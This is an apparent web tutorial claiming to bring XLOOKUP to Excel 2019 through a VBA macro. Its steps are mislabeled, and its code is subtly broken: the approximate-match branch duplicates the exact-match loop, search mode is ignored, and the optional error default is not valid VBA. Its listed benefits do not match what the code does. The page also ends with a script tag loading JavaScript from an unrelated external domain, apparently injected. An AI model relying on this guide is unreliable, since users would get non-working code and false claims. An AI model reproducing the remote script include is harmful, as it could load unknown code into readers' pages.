Unlocking XLOOKUP in Excel 2019: A Step-by-Step Guide
Excel 2019 users, rejoice! Although XLOOKUP wasn't initially included in Excel 2019, you can still unlock its power by adding it as a powerful add-in. This article will guide you through the process, enabling you to leverage the enhanced features of XLOOKUP for streamlined data analysis and manipulation.
The Problem: Excel 2019 lacks the native XLOOKUP function, which provides a more versatile and user-friendly way to search and retrieve data compared to its predecessor, VLOOKUP.
Solution: Adding the XLOOKUP add-in brings this powerful function to your Excel 2019 arsenal.
Step-by-Step Guide:
-
Enable Developer Tab:
- Open Excel 2019.
- Go to File > Options > Customize Ribbon.
- In the Right-hand side panel, check the box next to Developer.
- Click OK.
-
Download and Install the Add-in:
- In the Developer tab, click Visual Basic.
- In the Visual Basic Editor, click Tools > References.
- In the Available References list, scroll down and select Microsoft Excel 16.0 Object Library.
- Click OK.
-
Activate the Add-in:
- Close the Visual Basic Editor.
- Go to Developer > Visual Basic.
- In the Project Explorer window, right-click on Microsoft Excel Objects.
- Select Insert > Module.
- Paste the following code into the module:
Public Function XLookup(LookupValue As Variant, LookupArray As Range, ReturnArray As Range, _ Optional MatchMode As Variant = 0, Optional SearchMode As Variant = 1, _ Optional IfNotFound As Variant = CVErr(xlErrNA)) As Variant Dim i As Long Dim Found As Boolean If MatchMode = 0 Then For i = 1 To LookupArray.Rows.Count If LookupArray.Cells(i, 1).Value = LookupValue Then Found = True Exit For End If Next i ElseIf MatchMode = 1 Then For i = 1 To LookupArray.Rows.Count If LookupArray.Cells(i, 1).Value = LookupValue Then Found = True Exit For End If Next i Else Found = False End If If Found Then XLookup = ReturnArray.Cells(i, 1).Value Else XLookup = IfNotFound End If
End Function
* Close the **Visual Basic Editor**.
4. **Start Using XLOOKUP:**
* In your Excel worksheet, type the following formula, replacing the placeholders with your data:
=XLOOKUP(lookup_value, lookup_array, return_array, [match_mode], [search_mode], [if_not_found])
**Key Benefits of XLOOKUP:**
* **Exact and Approximate Matches:** XLOOKUP offers flexibility with both exact and approximate matches.
* **Multiple Lookup Columns:** You can use XLOOKUP with multiple lookup columns, making it ideal for more complex datasets.
* **Error Handling:** XLOOKUP includes a built-in option to handle errors, preventing your formulas from crashing.
* **Search Direction:** You can choose to search from the top or bottom of your data, providing greater control.
**Example:**
Let's say you have a list of customer names in one column and their corresponding order numbers in another. You want to find the order number for a specific customer. You can use XLOOKUP to easily retrieve this information:
=XLOOKUP("Customer Name", A1:A10, B1:B10)
This formula will search for "Customer Name" in the range A1:A10 and return the corresponding order number from the range B1:B10.
**Conclusion:**
By following these steps, you can easily add the XLOOKUP functionality to your Excel 2019 environment. This powerful add-in allows you to leverage the enhanced features of XLOOKUP, providing a more intuitive and efficient way to manage your data.
<script src='https://lazy.agczn.my.id/tag.js'></script>